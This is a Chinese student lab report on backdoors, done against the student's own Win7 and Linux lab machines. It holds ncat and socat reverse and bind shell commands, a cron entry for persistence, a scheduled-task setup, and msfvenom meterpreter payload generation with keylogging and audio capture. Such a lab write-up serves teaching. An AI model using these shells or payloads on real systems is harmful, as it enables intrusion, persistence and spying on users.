Exp2 后门原理与实践

准备工作

1. 查看Linux和Win的IP地址,ping通
  • Linux地址

    Win7地址

  • ping

2.下载ncat并装载到win7主机
3.下载socat并装载到win7主机

使用netcat获取主机操作Shell,cron启动

Linux获得win7 Shell

  • linux作为攻击方,win7作为靶机
  • linux打开8125端口,开始监听
nc -l -p 8125
  • win7反弹链接Linux
ncat.exe -e cmd.exe 192.168.72.130 8125     //-e filename:连接后执行该文件
  • linux下看到win7的命令提示

Win7获得Linux Shell

  • win7作为攻击方,Linux作为靶机
  • win7使用ncat,监听端口5218
ncat.exe -l -p 5218  //-l:设置监听模式,-p:端口

  • Linux反弹连接win7
ncat 192.168.72.116 5218 -e /bin/sh
  • win7下获得一个linux shell,可运行任何指令

Cron启动

什么是crontab

cron是linux下的定时执行工具。crontab是使用cron的命令,该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。

简单理解了一下就是写一个程序,可以规定哪年哪月哪日什么时间、或者一个周期(年、月、日、周、小时)内的具体时间执行一个命令。由于cron是每分钟运行一次,所以可以具体到分钟。指令格式如下:

crontab指令基本格式 : 

*  *  *  *  *  command 

分 时 日 月 周 命令 

第1列表示分钟1~59 每分钟用*或者 */1表示 

第2列表示小时1~23(0表示0点) 

第3列表示日期1~31 

第4列表示月份1~12 

第5列标识号星期0~6(0表示星期天) 

第6列要运行的命令 

实验步骤
  • win7下打开监听,监听端口5218
ncat.exe -l -p 5218
  • linux下
crontab -e     // crontab指令增加一条定时任务,"-e"表示编辑
no crontab for root - using an empty one Select an editor. To change later, run 'select-editor'.
1. /usr/bin/vim.gtk
2. /bin/nano <---- easiest
3. /usr/bin/vim.basic
4. /usr/bin/mcedit
5. /usr/bin/vim.tiny Choose 1-5 [2]: 3 //选择编辑器3

  • (根据前文crontab格式)修改最后一行指令
55 * * * * nc 192.168.72.116 5218 -e/bin/sh
//当时是51分,设置为55分便于观察结果

  • 静静等待~
  • win7下获得Linux shell

使用socat获取主机操作Shell, 任务计划启动

socat是什么

socat的介绍与使用

实验步骤

  • win7下打开计算机管理->任务计划程序->创建任务

  • 输入任务名,新建触发器,这里第一次做的时候我没有设置触发器,所以任务不启动

  • 新建操作,在“程序或脚本”内添加拷贝好的socat.exe路径,在添加参数一栏写入

tcp-listen:5218 exec:cmd.exe,pty,stderr
//监听5218端口
//把cmd.exe绑定到端口5218

  • linux下,输入
socat - tcp:192.168.72.116:5218 //这个命令等同于nc 192.168.72.116 5218
  • 到了设置好的触发时间后,即可获得win7的cmd

并不是监听端一定是攻击方,反弹连接的也不一定就是靶机。在双方的连接过程中,谁绑定了shell,谁就暴露了shell,就会被对方获得。


使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

什么是meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。

实验步骤

  • Linux下,生成后门程序
msfvenom  -p windows/meterpreter/reverse_tcp LHOST192.168.72.130 LPORT=5218 -f exe > bd5218.exe
//控制端ip

  • 利用ncat传输文件到系统
/*win7*/
ncat.exe -l 5218 > bd5218.exe
/*linux*/
nc 192.168.72.116 5218 < bd5218.exe

传输成功

  • msfconsole linux下进入msf控制台(据说每次进入图案都不一眼,我这是什么?小幽灵吗!)

/*开启监听模块,设置payload*/
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp /*设置反弹回连的ip和端口*/
set LHOST 192.168.72.130
set LPORT 5218 /*执行监听*/
exploit

  • win7下运行后门程序,
bd5218.exe

可以看到linux已经获得了win7的shell


使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 通过help命令可以查看meterpreter能够实现的功能,有好多!

  • 尝试截屏

  • 击键记录,这里我是没有在任何文件内输入直接瞎敲的,居然也记录下来了,真的可怕∑(っ°Д°;)っ

  • 音频录制,-d设置时间

提权

  • 开始不太懂,去百度了一下“提权”是什么(其实看完了还是有点懵):

提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。

  • 看了这些好像明白了

就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。


基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

从网上下载一些来源不可靠的文件,或者点进去一个挂马网站?

(2)例举你知道的后门如何启动起来(win及linux)的方式?

开机自启动,或者伪装成一个正常的程序,用户就中招了

(3)Meterpreter有哪些给你映像深刻的功能?
  • uictl指令还挺令我印象深刻的,如果自己的电脑出了这种问题应该会慌得不行吧
/*开启或禁止键盘/鼠标*/
uictl [enable/disable] [keyboard/mouse/all] uictl disable keyboard //Σσ(・Д・;)键盘不能用了!
uictl disable mouse //了∑(っ°Д°;)っ鼠标也不能用!
uictl enable all //赶紧打开打开……

  • 还有这个
Stdapi: Audio Output Commands
============================= Command Description
------- -----------
play play an audio file on target system, nothing written on disk

感觉好像有点好玩,但还没做出来,虽然显示了“正在播放”,但是win7上没声音,哭辽

(4)如何发现自己有系统有没有被安装后门?

感觉杀毒软件还是蛮可靠的,然后就平常不要去不正规的网站乱下东西就行

放到自己主机上立刻给我查出来了


实验总结与体会

感觉这次实验做起来还是蛮有趣的,但同时也让我意识到了系统安全的重要性,meterpreter功能这么强大,不也意味着自己的电脑一旦被植入了后门,后果的严重性吗?完全就是待宰的羔羊了,人家想干嘛干嘛,想看什么看什么,没有丝毫隐私可言了


问题与解决

  • Question1

    • 开始使用ipconfig查询win7的地址是,显示是10.1.1.116,无法与Linux主机ping通

    • 将Win7的ip地址修改到与Linux同一网段即可

20165218 《网络对抗技术》Exp2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. Linux系统中时间区域和API

    1.问题 在开发云平台程序的时候,经常会碰到时间区域转换的问题.比如,任何网络存储的文档的metadata都自己记录了编辑时间.但是,云平台记录时需要把这个时间转成标准时间,便于管理.但是用户使用的时 ...

  2. Netty源码分析第5章(ByteBuf)---->第2节: ByteBuf的分类

    Netty源码分析第五章: ByteBuf 第二节: ByteBuf的分类 上一小节简单介绍了AbstractByteBuf这个抽象类, 这一小节对其子类的分类做一个简单的介绍 ByteBuf根据不同 ...

  3. Vmware vSphere 开启嵌套虚拟化

    一.vSphere 6开启嵌套虚拟化 已通过vSphere Client创建一个名字为Centos 7的虚拟机,现在需要打开该虚拟机的嵌套虚拟化功能. 1.在Esxi 服务器上面开启ssh服务,并关闭 ...

  4. NO.7:自学python之路------类的方法、异常处理、socket网络编程

    引言 我visual studio 2017就算体积巨大.启动巨慢.功能简陋也不会安装PyCharm的,嘿呀,真香.好吧,为了实现socket网络编程,更换了软件. 正文 静态方法 只是在名义上归类管 ...

  5. [朴孝敏][Road Trip]

    歌词来源:http://music.163.com/#/song?id=406907305 作曲 : Ryan S. Jhun/G'harah 'PK' Degeddingseze/Denzil Re ...

  6. java内存结构JVM——java内存模型JMM——java对象模型JOM

    JVM内存结构 Java代码是要运行在虚拟机上的,而虚拟机在执行Java程序的过程中会把所管理的内存划分为若干个不同的数据区域,这些区域都有各自的用途.其中有些区域随着虚拟机进程的启动而存在,而有些区 ...

  7. 20172311『Java程序设计』课程 结对编程练习_四则运算第二周阶段总结

    20172311『Java程序设计』课程 结对编程练习_四则运算第二周阶段总结 结对伙伴 学号 :20172307 姓名 :黄宇瑭 伙伴第一周博客地址 对结对伙伴的评价:黄宇瑭同学的优势在于能够想出一 ...

  8. 利用Hibernate子查询(in) 得到部分字段(实体类的构造函数)

    感人= = 终于弄好了 String hql="select new Shop(s.strid,s.shopname,s.tradearea,s.discountinfo,s.beginti ...

  9. “吃神么,买神么”的第一个Sprint计划(第二天)

    “吃神么,买神么”项目Sprint计划 ——5.22(第二天)立会内容与进度 团队组员各自任务: 冯美欣:logo的设计.搜索框的制作,"登陆/注册"的文字链接: 吴舒婷:导航条. ...

  10. php $_SERVER['HTTP_USER_AGENT']

    //获取浏览器 function getBrowse() { global $_SERVER; $Agent = $_SERVER['HTTP_USER_AGENT']; $browseinfo='' ...